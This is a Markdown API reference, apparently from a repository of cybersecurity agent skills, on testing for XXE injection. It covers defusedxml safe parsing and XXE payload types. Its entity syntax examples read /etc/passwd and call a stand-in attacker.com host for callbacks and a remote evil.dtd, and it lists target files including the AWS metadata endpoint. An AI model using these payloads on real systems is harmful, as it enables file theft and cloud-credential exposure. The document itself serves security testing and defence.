mirror of
https://github.com/mukul975/Anthropic-Cybersecurity-Skills.git
synced 2026-06-12 22:24:56 +03:00
mukul975
27c6414ca5
Complete skill folder anatomy across all cybersecurity skills: - scripts/agent.py: 80-150 line Python agents using real libraries (impacket, boto3, azure-mgmt-*, kubernetes, pefile, yara, scapy, shodan, stix2, etc.) - references/api-reference.md: real API documentation with method signatures - LICENSE: MIT license for all skill folders
69 lines
2.1 KiB
Markdown
69 lines
2.1 KiB
Markdown
# API Reference: Testing for XXE Injection Vulnerabilities
|
|
|
|
## defusedxml Library (Safe Parsing)
|
|
|
|
### Installation
|
|
```bash
|
|
pip install defusedxml
|
|
```
|
|
|
|
### Safe Parsing
|
|
```python
|
|
import defusedxml.ElementTree as ET
|
|
# Blocks external entities, DTD processing, entity expansion
|
|
tree = ET.fromstring(xml_string)
|
|
```
|
|
|
|
Protections enabled by default:
|
|
- `forbid_dtd`: Blocks DOCTYPE declarations
|
|
- `forbid_entities`: Blocks entity definitions
|
|
- `forbid_external`: Blocks SYSTEM/PUBLIC entities
|
|
|
|
## requests Library (XXE Testing)
|
|
|
|
### Sending XML Payloads
|
|
```python
|
|
headers = {"Content-Type": "application/xml"}
|
|
resp = requests.post(url, headers=headers, data=xxe_payload)
|
|
```
|
|
|
|
## XXE Payload Types
|
|
| Type | Description | Detection |
|
|
|------|-------------|-----------|
|
|
| Classic (in-band) | Entity value in response | Check for file contents |
|
|
| Blind (OOB HTTP) | Entity triggers HTTP callback | Monitor callback server |
|
|
| Blind (OOB DNS) | Entity triggers DNS lookup | Monitor DNS server |
|
|
| Parameter entity | Uses `%entity;` in DTD | Check callback server |
|
|
| PHP filter | Base64 encodes file content | Decode base64 in response |
|
|
| SSRF via XXE | Access internal URLs | Check for metadata/internal data |
|
|
|
|
## XXE Entity Syntax
|
|
```xml
|
|
<!-- Internal entity -->
|
|
<!ENTITY name "value">
|
|
|
|
<!-- External entity (file read) -->
|
|
<!ENTITY xxe SYSTEM "file:///etc/passwd">
|
|
|
|
<!-- External entity (HTTP) -->
|
|
<!ENTITY xxe SYSTEM "http://attacker.com/callback">
|
|
|
|
<!-- Parameter entity (used in DTD) -->
|
|
<!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd">
|
|
%xxe;
|
|
```
|
|
|
|
## File Paths for Testing
|
|
| OS | File | Content Indicator |
|
|
|----|------|-------------------|
|
|
| Linux | `/etc/passwd` | `root:x:0:0` |
|
|
| Linux | `/etc/hostname` | hostname string |
|
|
| Windows | `c:/windows/win.ini` | `[fonts]` |
|
|
| AWS | `http://169.254.169.254/latest/meta-data/` | `ami-id` |
|
|
|
|
## References
|
|
- defusedxml: https://github.com/tiran/defusedxml
|
|
- OWASP XXE Prevention: https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html
|
|
- PortSwigger XXE: https://portswigger.net/web-security/xxe
|
|
- PayloadsAllTheThings XXE: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20Injection
|